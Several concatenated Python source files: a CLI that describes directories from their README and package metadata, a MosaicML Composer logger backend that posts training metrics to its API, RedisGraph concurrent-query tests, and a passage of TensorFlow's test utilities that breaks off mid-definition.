continue # skip html stuff # TODO: add html tag parsing elif isinstance(block, marko.block.HTMLBlock): continue # skip lines with only images elif is_badge_line(block): continue # read headings # TODO: find title & subtitle on heading type (H1/H2/H3) elif ( isinstance(block, (marko.block.Heading, marko.block.SetextHeading)) and block.children ): if description["title"] != "": continue description["title"] = get_string_from_markdown_ast(block).strip() # read descriptions else: description["subtitle"] = get_string_from_markdown_ast(block).strip() logger.trace('read description "{}"', description["subtitle"]) break return description def get_description_from_packageJson(package: str) -> Description: """Gets description about a directory using its node package.json""" v = json.loads(package) description: Description = {"title": "", "subtitle": ""} if "name" in v: description["title"] = v["name"].strip() logger.opt(colors=True).debug( f"found name in package.json <u>{description['title']}</u>" ) if "description" in v: description["subtitle"] = v["description"].strip() logger.opt(colors=True).debug( f"found subtitle in package.json <u>{description['subtitle']}</u>" ) return description def get_description_from_pyprojectToml(string: str) -> Description: meta = toml.loads(string) description: Description = {"title": "", "subtitle": ""} if "tool" in meta: if "poetry" in meta["tool"]: if "name" in meta["tool"]["poetry"]: description["title"] = meta["tool"]["poetry"]["name"].strip() logger.opt(colors=True).debug( f"found name in poetry.toml <u>{description['title']}</u>" ) if "description" in meta["tool"]["poetry"]: description["subtitle"] = meta["tool"]["poetry"]["description"].strip() logger.opt(colors=True).debug( f"found description in poetry.toml <u>{description['subtitle']}</u>" ) return description def get_description_from_readmeRst(filestream) -> Description: rx = re.compile(r"([\S])\1{3,}") lastline = "" while 1: line = filestream.readline().strip() if rx.match(line): logger.opt(colors=True).debug( f"found title line in readme.rst <u>{lastline}</u>" ) return {"title": lastline, "subtitle": ""} lastline = line return {"title": "", "subtitle": ""} def get_description_from_poetsJson(string) -> Description: o = json.loads(string) d: Description = {"title": "", "subtitle": ""} if "title" in o: d["title"] = o["title"] if "subtitle" in o: d["subtitle"] = o["subtitle"] return d def join_title_and_subtitle(d: Description, ansi: bool = False) -> str: title, subtitle = d["title"], d["subtitle"] final_description = "" if title: if ansi: final_description += click.style(title, bold=True, underline=True) else: final_description += title if subtitle: if len(subtitle) > 82: subtitle = subtitle[:82] + "..." if final_description: final_description += " - " + subtitle else: final_description += subtitle return final_description def get_dir_info(path: str) -> dict[str, Description]: """Get full description of dir `path`""" p = os.listdir(path) descriptions = {} for i in p: logger.trace(f"reading {i}") if i.lower() == "readme.md": descriptions[SOURCE_README_MD] = get_description_from_readmeMd( file_to_string(os.path.join(path, i)) ) elif i.lower() == "package.json": descriptions[SOURCE_PACKAGE_JSON] = get_description_from_packageJson( file_to_string(os.path.join(path, i)) ) elif i.lower() == "pyproject.toml": descriptions[SOURCE_PROJECT_TOML] = get_description_from_pyprojectToml( file_to_string(os.path.join(path, i)) ) elif i.lower() == "readme.rst": with open(os.path.join(path, i)) as f: descriptions[SOURCE_README_RST] = get_description_from_readmeRst(f) elif i.lower() == ".poets.json": descriptions[SOURCE_POETS_JSON] = get_description_from_poetsJson( file_to_string(os.path.join(path, i)) ) return descriptions def filter_description(descriptions: dict[str, Description]) -> Description: """Uses the priority table to pick the best title and description""" title = "" subtitle = "" for source in DESCRIPTION_SOURCE_PRIORITY: if source in descriptions: if "title" in descriptions[source]: if descriptions[source]["title"]: logger.debug(f"using {source} for title") title = descriptions[source]["title"] break for source in DESCRIPTION_SOURCE_PRIORITY: if source in descriptions: if "subtitle" in descriptions[source]: if descriptions[source]["subtitle"]: logger.debug(f"using {source} for subtitle") subtitle = descriptions[source]["subtitle"] break return {"title": title, "subtitle": subtitle} def thread_worker(q: Queue, path, u, f=None) -> None: while 1: a = q.get() logger.info(f"getting info for {a}") descriptions = get_dir_info(os.path.join(path, a)) u[a + "/"] = filter_description(descriptions) logger.info(f'info: {u[a+"/"]}') q.task_done() if f: f.update(1) def loop_dirs( dirs: Iterable[str], path: str, thread: int, f=None ) -> dict[str, Description]: u: dict[str, Description] = {} if thread and thread > 0: q = Queue() for p in dirs: q.put(p) threads = [] for _ in range(thread): worker = threading.Thread( target=thread_worker, args=(q, path, u, f), daemon=True ) worker.start() threads.append(worker) q.join() else: for a in dirs: logger.info(f"getting info for {a}") u[a + "/"] = filter_description(get_dir_info(os.path.join(path, a))) logger.info(f'info: {u[a+"/"]}') return u # @logger.catch @click.command( help="A cli app to show directories with description. Works best with documented directories.", add_help_option=False, ) @click.argument("path", type=click.Path(exists=True, readable=True), default=".") @click.option("--ansi/--no-ansi", default=True, help="Disable ansi colored output") @click.option("--dry", "-D", default=False, is_flag=True, help="Gide final stdout") @click.option("--progress/--no-progress", default=True, help="Disable progress bar") @click.option("-v", "--verbose", count=True, help="Set logging level, repeat for more") @click.option( "-x", "--thread", type=int, default=0, help="Number of threads, 0 to disable" ) @click.help_option("--help", "-h") def main(ansi: bool, verbose: int, dry: bool, progress: bool, path: str, thread: int): if verbose > len(LOGGING_LEVELS): verbose = len(LOGGING_LEVELS) logger_config = { "handlers": [ { "sink": sys.stdout, "format": "<green>{time:HH:mm:ss.SSS}</green> - <lvl>{level}</lvl>: {message}", "level": LOGGING_LEVELS[verbose], }, ], } logger.configure(**logger_config) logger.info(f"ansi status: {ansi}") logger.info(f"path: {path}") dirs = [o for o in os.listdir(path) if os.path.isdir(os.path.join(path, o))] if progress and not dry: if thread: with click.progressbar(length=len(dirs), label="Parsing directories") as f: u = loop_dirs(dirs, path, thread, f) else: with click.progressbar(dirs, label="Parsing directories") as di: u = loop_dirs(di, path, thread) else: u = loop_dirs(dirs, path, thread) if not dry: for l in sorted(u): if len(u[l]) >= 1: if ansi: o = ( click.style(l, fg="blue") + " " + join_title_and_subtitle(u[l], ansi=ansi) ) else: o = l + " " + join_title_and_subtitle(u[l], ansi=ansi) else: if ansi: o = click.style(l, fg="blue") else: o = l click.echo(o) if __name__ == "__main__": main()
mosaicml_logger.py
# Copyright 2021 MosaicML. All Rights Reserved. from __future__ import annotations import logging import os import sys import uuid import warnings from queue import Queue from threading import Thread from typing import Dict, List, Optional import requests from composer.core.logging import LogLevel, TLogData from composer.core.logging.base_backend import BaseLoggerBackend from composer.core.logging.logger import format_log_data_as_json from composer.core.types import JSON, Logger, State, StateDict from composer.utils import dist from composer.utils.string_enum import StringEnum _MOSAICML_API_KEY_ENV = "MOSAICML_LOGGER_API_KEY" _MOSAICML_LOGGER_URL = "https://api.mosaicml.com/v0/log/metric" _MOSAICML_UPSERT_RUN_URL = "https://api.mosaicml.com/v0/log/run" _STOP_LOGGING_SIGNAL = "STOP_LOGGING" log = logging.getLogger(__name__) class RunStatus(StringEnum): RUNNING = "running" COMPLETED = "completed" class RunType(StringEnum): BENCHMARKING = "benchmarking" TRAINING = "training" def _send_data(run_id: str, experiment_id: str, data: List[TLogData]): try: response = requests.post(_MOSAICML_LOGGER_URL, headers={"X-MosaicML-API-key": os.environ.get(_MOSAICML_API_KEY_ENV, "")}, json={ "runID": run_id, "experimentID": experiment_id, "data": data, }, timeout=5) if response.status_code >= 400: # Terminate the process in the case of a non-transient error log.error("Posting data to MosaicML backend failed with response code " f"{response.status_code} and message {response.text}.") sys.exit(1) except requests.exceptions.Timeout as e: # Warn the user in the case of a timeout but don't retry for now log.warning(f"MosaicML logger timed out with error {e}. Logs were not sent to the backend.") def _upsert_run(run_id: str, run_name: str, run_type: RunType, experiment_name: str, run_status: RunStatus, run_config: Optional[Dict[str, JSON]] = None): # This functionality will eventually be moved to server-side run_config = run_config if run_config is not None else {} # For now, terminate the process if the request does not succeed because we definitely want the run # to exist in the backend before logging try: response = requests.post(_MOSAICML_UPSERT_RUN_URL, headers={"X-MosaicML-API-key": os.environ.get(_MOSAICML_API_KEY_ENV, "")}, json={ "runID": run_id, "runName": run_name, "runType": run_type.value, "experimentName": experiment_name, "runConfig": run_config, "status": run_status.value, }, timeout=5) if response.status_code >= 400: # Terminate the process in the case of a non-transient error log.error("Posting run upsert to MosaicML backend failed with response code " f"{response.status_code} and message {response.text}.") sys.exit(1) response_json = response.json() return response_json["experimentID"] if "experimentID" in response_json else None except requests.exceptions.Timeout as e: # Notify the user in the case of a timeout and terminate the process log.error(f"MosaicML logger run upsert timed out with error {e}. Terminating the process.") sys.exit(1) class MosaicMLLoggerBackend(BaseLoggerBackend): """Log to the MosaicML backend. Args: run_name (str): The name of the run. run_type (RunType): The type of the run. experiment_name (str, optional): The name of the experiment to associate this run with. If not provided, a random name will be generated. run_id (str, optional): The id of the run to write logs for. If not provided, a random id will be generated. Note that not providing a run_id will result in a new run being created while providing a run_id will result in an existing run being updated. creds_file (str, optional): A file containing the MosaicML api_key. If not provided will default to the environment variable MOSAIC_API_KEY. A valid key must be present or this logger will be a no-op. flush_every_n_batches (int): Flush the log data buffer every n batches. (default: ``500``) max_logs_in_buffer (int): The maximum number of log entries allowed in the buffer before a forced flush. (default: ``1000``) config (Dict[str, `~composer.core.types.JSON`], optional): Additional configuration related to the run that will be stored along with the logs. For example, hyperparameters related to the training loop. """ def __init__(self, run_name: str, run_type: RunType, experiment_name: Optional[str], run_id: Optional[str] = None, creds_file: Optional[str] = None, flush_every_n_batches: int = 500, max_logs_in_buffer: int = 1000, log_level: LogLevel = LogLevel.EPOCH, config: Optional[Dict[str, JSON]] = None) -> None: super().__init__() self.skip_logging = dist.get_global_rank() != 0 self.log_level = log_level self.run_name = run_name self.run_type = run_type self.run_id = run_id # if None will be set in training_start self.experiment_id = None # will be set in training_start if experiment_name is None: experiment_name = f"experiment_{str(uuid.uuid4())}" log.info(f"experiment_name was None, set experiment_name to random value {experiment_name}") self.experiment_name = experiment_name self.run_config = config if creds_file: with open(creds_file, 'r') as f: os.environ[_MOSAICML_API_KEY_ENV] = str(f.read().strip()) if os.environ.get(_MOSAICML_API_KEY_ENV, None) is None: self.skip_logging = True warnings.warn( f"No api_key set for environment variable {_MOSAICML_API_KEY_ENV}. MosaicML logger will be a no-op.") self.buffered_data = [] self.flush_every_n_batches = flush_every_n_batches self.max_logs_in_buffer = max_logs_in_buffer self.queue = Queue() self.thread = Thread(target=self._listen_to_queue, daemon=True, name="mosaicml-logger-thread") def will_log(self, state: State, log_level: LogLevel) -> bool: del state # unused return log_level <= self.log_level def log_metric(self, epoch: int, step: int, log_level: LogLevel, data: TLogData): del log_level # unused if self.skip_logging: return formatted_data = format_log_data_as_json(data) log_data = { "epoch": epoch, "step": step, } log_data.update(formatted_data) # type: ignore self.buffered_data.append(log_data) if len(self.buffered_data) > self.max_logs_in_buffer: self._flush_buffered_data() def init(self, state: State, logger: Logger) -> None: del state, logger # unused if self.skip_logging: return log.info("Starting MosaicML logger thread.") # Start the logging thread self.thread.start() def training_start(self, state: State, logger: Logger): del state, logger # unused if self.skip_logging or not self.run_id: return # This has to happen in training_start as opposed to init in order to make # resume from checkpoint work (i.e. the run_id from the checkpoint is loaded # after Event.INIT is called) # https://github.com/mosaicml/composer/issues/43 will fix this if self.run_id is None: self.run_id = str(uuid.uuid4()) log.info(f"run_id was None, set run_id to random value {self.run_id}") self.experiment_id = _upsert_run(run_id=self.run_id, run_name=self.run_name, run_type=self.run_type, experiment_name=self.experiment_name, run_status=RunStatus.RUNNING, run_config=self.run_config) def batch_end(self, state: State, logger: Logger): del logger # unused if self.skip_logging: return if (state.step + 1) % self.flush_every_n_batches == 0: self._flush_buffered_data() def training_end(self, state: State, logger: Logger): del state, logger # unused if self.skip_logging: return # Flush any remaining logs on training end self._flush_buffered_data() def post_close(self): # Write any relevant logs from other callback's close() functions here if self.skip_logging or not self.run_id: return # Flush any remaining logs on training end self._flush_buffered_data() log.info(f"Updating run status to {RunStatus.COMPLETED}") _upsert_run(run_id=self.run_id, run_name=self.run_name, run_type=self.run_type, experiment_name=self.experiment_name, run_status=RunStatus.COMPLETED, run_config=self.run_config) self.queue.put_nowait(_STOP_LOGGING_SIGNAL) self.thread.join() log.info("MosaicML logger thread has exited.") def state_dict(self) -> StateDict: # Storing these fields in the state dict to support run resuming in the future return { "run_id": self.run_id, "run_name": self.run_name, "experiment_name": self.experiment_name, "buffered_data": self.buffered_data } def load_state_dict(self, state: StateDict) -> None: self.run_id = str(state["run_id"]) self.run_name = str(state["run_name"]) self.experiment_name = str(state["experiment_name"]) self.buffered_data = list(state["buffered_data"]) def _flush_buffered_data(self): if len(self.buffered_data) == 0: return data_to_write = self.buffered_data.copy() self.buffered_data = [] self.queue.put_nowait(data_to_write) def _listen_to_queue(self): while True: data = self.queue.get(block=True) if data == _STOP_LOGGING_SIGNAL: log.info("MosaicML logger thread received stop logging signal.") self.queue.task_done() return _send_data(run_id=self.run_id, experiment_id=self.experiment_id, data=data) # type: ignore self.queue.task_done()
test_concurrent_query.py
import os import sys import threading from redisgraph import Graph, Node, Edge from base import FlowTestsBase GRAPH_ID = "G" # Graph identifier. CLIENT_COUNT = 16 # Number of concurrent connections. graphs = None # One graph object per client. assertions = [True] * CLIENT_COUNT # Each thread places its verdict at position threadID. people = ["Roi", "Alon", "Ailon", "Boaz", "Tal", "Omri", "Ori"] def query_aggregate(graph, query, threadID): global assertions assertions[threadID] = True for i in range(10): actual_result = graph.query(query) person_count = actual_result.result_set[0][0] if person_count != len(people): assertions[threadID] = False break def query_neighbors(graph, query, threadID): global assertions assertions[threadID] = True # Fully connected graph + header row. expected_resultset_size = len(people) * (len(people)-1) for i in range(10): actual_result = graph.query(query) if len(actual_result.result_set) is not expected_resultset_size: assertions[threadID] = False break def query_write(graph, query, threadID): global assertions assertions[threadID] = True for i in range(10): actual_result = graph.query(query) if actual_result.nodes_created != 1 or actual_result.properties_set != 1: assertions[threadID] = False break def thread_run_query(graph, query, threadID): global assertions assertions[threadID] = graph.query(query) def delete_graph(graph, threadID): global assertions assertions[threadID] = True # Try to delete graph. try: graph.delete() except: # Graph deletion failed. assertions[threadID] = False class testConcurrentQueryFlow(FlowTestsBase): def __init__(self): super(testConcurrentQueryFlow, self).__init__() global graphs graphs = [] for i in range(0, CLIENT_COUNT): redis_con = self.env.getConnection() graphs.append(Graph(GRAPH_ID, redis_con)) self.populate_graph() def populate_graph(self): nodes = {} graph = graphs[0] # Create entities for p in people: node = Node(label="person", properties={"name": p}) graph.add_node(node) nodes[p] = node # Fully connected graph for src in nodes: for dest in nodes: if src != dest: edge = Edge(nodes[src], "know", nodes[dest]) graph.add_edge(edge) graph.commit() # Count number of nodes in the graph def test01_concurrent_aggregation(self): q = """MATCH (p:person) RETURN count(p)""" threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=query_aggregate, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertTrue(assertions[i]) # Concurrently get neighbors of every node. def test02_retrieve_neighbors(self): q = """MATCH (p:person)-[know]->(n:person) RETURN n.name""" threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=query_neighbors, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertTrue(assertions[i]) # Concurrent writes def test_03_concurrent_write(self): threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] q = """CREATE (c:country {id:"%d"})""" % i t = threading.Thread(target=query_write, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertTrue(assertions[i]) # Try to delete graph multiple times. def test_04_concurrent_delete(self): threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=delete_graph, args=(graph, i)) t.setDaemon(True) threads.append(t) t.start() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() # Exactly one thread should have successfully deleted the graph. self.env.assertEquals(assertions.count(True), 1) # Try to delete a graph while multiple queries are executing. def test_05_concurrent_read_delete(self): redis_con = self.env.getConnection() ############################################################################################## # Delete graph via Redis DEL key. ############################################################################################## self.populate_graph() q = """UNWIND (range(0, 10000)) AS x WITH x AS x WHERE (x / 900) = 1 RETURN x""" threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=thread_run_query, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() redis_con.delete(GRAPH_ID) # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertEquals(assertions[i].result_set[0][0], 900) # Make sure Graph is empty, e.g. graph was deleted. resultset = graphs[0].query("MATCH (n) RETURN count(n)").result_set self.env.assertEquals(resultset[0][0], 0) ############################################################################################## # Delete graph via Redis FLUSHALL. ############################################################################################## self.populate_graph() q = """UNWIND (range(0, 10000)) AS x WITH x AS x WHERE (x / 900) = 1 RETURN x""" threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=thread_run_query, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() redis_con.flushall() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertEquals(assertions[i].result_set[0][0], 900) # Make sure Graph is empty, e.g. graph was deleted. resultset = graphs[0].query("MATCH (n) RETURN count(n)").result_set self.env.assertEquals(resultset[0][0], 0) ############################################################################################## # Delete graph via GRAPH.DELETE. ############################################################################################## self.populate_graph() q = """UNWIND (range(0, 10000)) AS x WITH x AS x WHERE (x / 900) = 1 RETURN x""" threads = [] for i in range(CLIENT_COUNT): graph = graphs[i] t = threading.Thread(target=thread_run_query, args=(graph, q, i)) t.setDaemon(True) threads.append(t) t.start() graphs[i].delete() # Wait for threads to return. for i in range(CLIENT_COUNT): t = threads[i] t.join() self.env.assertEquals(assertions[i].result_set[0][0], 900) # Make sure Graph is empty, e.g. graph was deleted. resultset = graphs[0].query("MATCH (n) RETURN count(n)").result_set self.env.assertEquals(resultset[0][0], 0)
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=invalid-name """Test utils for tensorflow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import contextlib import math import random import re import tempfile import threading import numpy as np import six _portpicker_import_error = None try: import portpicker # pylint: disable=g-import-not-at-top except ImportError as _error: _portpicker_import_error = _error portpicker = None # pylint: disable=g-import-not-at-top from google.protobuf import descriptor_pool from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.core.protobuf import config_pb2 from tensorflow.core.protobuf import rewriter_config_pb2 from tensorflow.python import pywrap_tensorflow from tensorflow.python.client import device_lib from tensorflow.python.client import session from tensorflow.python.eager import context from tensorflow.python.framework import device as pydev from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.framework import versions from tensorflow.python.ops import array_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.platform import googletest from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import server_lib from tensorflow.python.util import compat from tensorflow.python.util.protobuf import compare def gpu_device_name(): """Returns the name of a GPU device if available or the empty string.""" for x in device_lib.list_local_devices(): if x.device_type == "GPU" or x.device_type == "SYCL": return x.name return "" def assert_ops_in_graph(expected_ops, graph): """Assert all expected operations are found. Args: expected_ops: `dict<string, string>` of op name to op type. graph: Graph to check. Returns: `dict<string, node>` of node name to node. Raises: ValueError: If the expected ops are not present in the graph. """ actual_ops = {} gd = graph.as_graph_def() for node in gd.node: if node.name in expected_ops: if expected_ops[node.name] != node.op: raise ValueError("Expected op for node %s is different. %s vs %s" % (node.name, expected_ops[node.name], node.op)) actual_ops[node.name] = node if set(expected_ops.keys()) != set(actual_ops.keys()): raise ValueError("Not all expected ops are present. Expected %s, found %s" % (expected_ops.keys(), actual_ops.keys())) return actual_ops def assert_equal_graph_def(actual, expected, checkpoint_v2=False): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. Args: actual: The `GraphDef` we have. expected: The `GraphDef` we expected. checkpoint_v2: boolean determining whether to ignore randomized attribute values that appear in V2 checkpoints. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ if not isinstance(actual, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for actual, got %s" % type(actual).__name__) if not isinstance(expected, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for expected, got %s" % type(expected).__name__) if checkpoint_v2: _strip_checkpoint_v2_randomized(actual) _strip_checkpoint_v2_randomized(expected) diff = pywrap_tensorflow.EqualGraphDefWrapper(actual.SerializeToString(), expected.SerializeToString()) if diff: raise AssertionError(compat.as_str(diff)) def assert_meta_graph_protos_equal(tester, a, b): """Compares MetaGraphDefs `a` and `b` in unit test class `tester`.""" # Carefully check the collection_defs tester.assertEqual(set(a.collection_def), set(b.collection_def)) collection_keys = a.collection_def.keys() for k in collection_keys: a_value = a.collection_def[k] b_value = b.collection_def[k] proto_type = ops.get_collection_proto_type(k) if proto_type: a_proto = proto_type() b_proto = proto_type() # Number of entries in the collections is the same tester.assertEqual(len(a_value.bytes_list.value), len(b_value.bytes_list.value)) for (a_value_item, b_value_item) in zip( a_value.bytes_list.value, b_value.bytes_list.value): a_proto.ParseFromString(a_value_item) b_proto.ParseFromString(b_value_item) tester.assertProtoEquals(a_proto, b_proto) else: tester.assertEquals(a_value, b_value) # Compared the fields directly, remove their raw values from the # proto comparison below. a.ClearField("collection_def") b.ClearField("collection_def") tester.assertProtoEquals(a, b) # Matches attributes named via _SHARDED_SUFFIX in # tensorflow/python/training/saver.py _SHARDED_SAVE_OP_PATTERN = "_temp_[0-9a-z]{32}/part" def _strip_checkpoint_v2_randomized(graph_def): for node in graph_def.node: delete_keys = [] for attr_key in node.attr: attr_tensor_value = node.attr[attr_key].tensor if attr_tensor_value and len(attr_tensor_value.string_val) == 1: attr_tensor_string_value = attr_tensor_value.string_val[0] if (attr_tensor_string_value and re.match(_SHARDED_SAVE_OP_PATTERN, attr_tensor_string_value)): delete_keys.append(attr_key) for attr_key in delete_keys: del node.attr[attr_key] def IsGoogleCudaEnabled(): return pywrap_tensorflow.IsGoogleCudaEnabled() def CudaSupportsHalfMatMulAndConv(): return pywrap_tensorflow.CudaSupportsHalfMatMulAndConv() def NHWCToNCHW(input_tensor): """Converts the input from the NHWC format to NCHW. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = { 4: [0, 3, 1, 2], 5: [0, 4, 1, 2, 3] } if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] def NCHWToNHWC(input_tensor): """Converts the input from the NCHW format to NHWC. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = { 4: [0, 2, 3, 1], 5: [0, 2, 3, 4, 1] } if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] # TODO(skyewm): remove this eventually # pylint: disable=protected-access def _use_c_api_wrapper(fn, use_c_api, *args, **kwargs): prev_value = ops._USE_C_API ops._USE_C_API = use_c_api try: with ops.Graph().as_default(): fn(*args, **kwargs) finally: ops._USE_C_API = prev_value # pylint: disable=protected-access # TODO(skyewm): remove this eventually def disable_c_api(fn): """Decorator for disabling the C API on a test. Note this disables the C API after running the test class's setup/teardown methods. Args: fn: the function to be wrapped Returns: The wrapped function """ return lambda *args, **kwargs: _use_c_api_wrapper(fn, False, *args, **kwargs) # TODO(skyewm): remove this eventually def enable_c_api(fn): """Decorator for enabling the C API on a test. Note this enables the C API after running the test class's setup/teardown methods. Args: fn: the function to be wrapped Returns: The wrapped function """ return lambda *args, **kwargs: _use_c_api_wrapper(fn, True, *args, **kwargs) def run_in_graph_and_eager_modes(__unused__=None, graph=None, config=None, use_gpu=False, force_gpu=False, reset_test=True): """Runs the test in both graph and eager modes. Args: __unused__: Prevents sliently skipping tests. graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. reset_test: If True, tearDown and SetUp the test case again. Returns: Returns a decorator that will run the decorated test function using both a graph and using eager execution. """ assert not __unused__, "Add () after run_in_graph_and_eager_modes." def decorator(f): """Test method decorator.""" def decorated(self): """Decorated the test method.""" with context.graph_mode(): with self.test_session(graph, config, use_gpu, force_gpu): f(self) if reset_test: # This decorator runs the wrapped test twice. # Reset the test environment between runs. self.tearDown() self.setUp() def run_eager_mode(): if force_gpu: gpu_name = gpu_device_name() if not gpu_name: gpu_name = "/device:GPU:0" with context.device(gpu_name): f(self) elif use_gpu: # TODO(xpan): Support softplacement and gpu by default when available. f(self) else: with context.device("/device:CPU:0"): f(self) eager_graph = graph or ops.Graph() with context.eager_mode(): with eager_graph.as_default(): run_eager_mode() return decorated return decorator def is_gpu_available(cuda_only=False, min_cuda_compute_capability=None): """Returns whether TensorFlow can access a GPU. Args: cuda_only: limit the search to CUDA gpus. min_cuda_compute_capability: a (major,minor) pair that indicates the minimum CUDA compute capability required, or None if no requirement. Returns: True iff a gpu device of the requested kind is available. """ def compute_capability_from_device_desc(device_desc): # TODO(jingyue): The device description generator has to be in sync with # this file. Another option is to put compute capability in # DeviceAttributes, but I avoided that to keep DeviceAttributes # target-independent. Reconsider this option when we have more things like # this to keep in sync. # LINT.IfChange match = re.search(r"compute capability: (\d+)\.(\d+)", device_desc) # LINT.ThenChange(//tensorflow/core/\ # common_runtime/gpu/gpu_device.cc) if not match: return 0, 0 return int(match.group(1)), int(match.group(2)) for local_device in device_lib.list_local_devices(): if local_device.device_type == "GPU": if (min_cuda_compute_capability is None or compute_capability_from_device_desc(local_device.physical_device_desc) >= min_cuda_compute_capability): return True if local_device.device_type == "SYCL" and not cuda_only: return True return False @contextlib.contextmanager def device(use_gpu): """Uses gpu when requested and available.""" if use_gpu and is_gpu_available(): dev = "/device:GPU:0" else: dev = "/device:CPU:0" with ops.device(dev): yield class TensorFlowTestCase(googletest.TestCase): """Base class for tests that need to test TensorFlow. """ def __init__(self, methodName="runTest"): # pylint: disable=invalid-name super(TensorFlowTestCase, self).__init__(methodName) self._threads = [] self._tempdir = None self._cached_session = None def setUp(self): self._ClearCachedSession() random.seed(random_seed.DEFAULT_GRAPH_SEED) np.random.seed(random_seed.DEFAULT_GRAPH_SEED) # Note: The following line is necessary because some test methods may error # out from within nested graph contexts (e.g., via assertRaises and # assertRaisesRegexp), which may leave ops._default_graph_stack non-empty # under certain versions of Python. That would cause # ops.reset_default_graph() to throw an exception if the stack were not # cleared first. ops._default_graph_stack.reset() # pylint: disable=protected-access ops.reset_default_graph() ops.get_default_graph().seed = random_seed.DEFAULT_GRAPH_SEED def tearDown(self): for thread in self._threads: self.assertFalse(thread.is_alive(), "A checkedThread did not terminate") self._ClearCachedSession() def _ClearCachedSession(self): if self._cached_session is not None: self._cached_session.close() self._cached_session = None def get_temp_dir(self): """Returns a unique temporary directory for the test to use. If you call this method multiple times during in a test, it will return the same folder. However, across different runs the directories will be different. This will ensure that across different runs tests will not be able to pollute each others environment. If you need multiple unique directories within a single test, you should use tempfile.mkdtemp as follows: tempfile.mkdtemp(dir=self.get_temp_dir()): Returns: string, the path to the unique temporary directory created for this test. """ if not self._tempdir: self._tempdir = tempfile.mkdtemp(dir=googletest.GetTempDir()) return self._tempdir def _AssertProtoEquals(self, a, b): """Asserts that a and b are the same proto. Uses ProtoEq() first, as it returns correct results for floating point attributes, and then use assertProtoEqual() in case of failure as it provides good error messages. Args: a: a proto. b: another proto. """ if not compare.ProtoEq(a, b): compare.assertProtoEqual(self, a, b, normalize_numbers=True) def assertProtoEquals(self, expected_message_maybe_ascii, message): """Asserts that message is same as parsed expected_message_ascii. Creates another prototype of message, reads the ascii message into it and then compares them using self._AssertProtoEqual(). Args: expected_message_maybe_ascii: proto message in original or ascii form. message: the message to validate. """ if isinstance(expected_message_maybe_ascii, type(message)): expected_message = expected_message_maybe_ascii self._AssertProtoEquals(expected_message, message) elif isinstance(expected_message_maybe_ascii, str): expected_message = type(message)() text_format.Merge(expected_message_maybe_ascii, expected_message, descriptor_pool=descriptor_pool.Default()) self._AssertProtoEquals(expected_message, message) else: assert False, ("Can't compare protos of type %s and %s" % (type(expected_message_maybe_ascii), type(message))) def assertProtoEqualsVersion( self, expected, actual, producer=versions.GRAPH_DEF_VERSION, min_consumer=versions.GRAPH_DEF_VERSION_MIN_CONSUMER): expected = "versions { producer: %d min_consumer: %d };\n%s" % ( producer, min_consumer, expected) self.assertProtoEquals(expected, actual) def assertStartsWith(self, actual, expected_start, msg=None): """Assert that actual.startswith(expected_start) is True. Args: actual: str expected_start: str msg: Optional message to report on failure. """ if not actual.startswith(expected_start): fail_msg = "%r does not start with %r" % (actual, expected_start) fail_msg += " : %r" % (msg) if msg else "" self.fail(fail_msg) def _eval_helper(self, tensors): if isinstance(tensors, ops.EagerTensor): return tensors.numpy() if isinstance(tensors, resource_variable_ops.ResourceVariable): return tensors.read_value().numpy() if isinstance(tensors, tuple): return tuple([self._eval_helper(t) for t in tensors]) elif isinstance(tensors, list): return [self._eval_helper(t) for t in tensors] elif isinstance(tensors, dict): assert not tensors, "Only support empty dict now." return dict() else: raise ValueError("Unsupported type.") def evaluate(self, tensors): 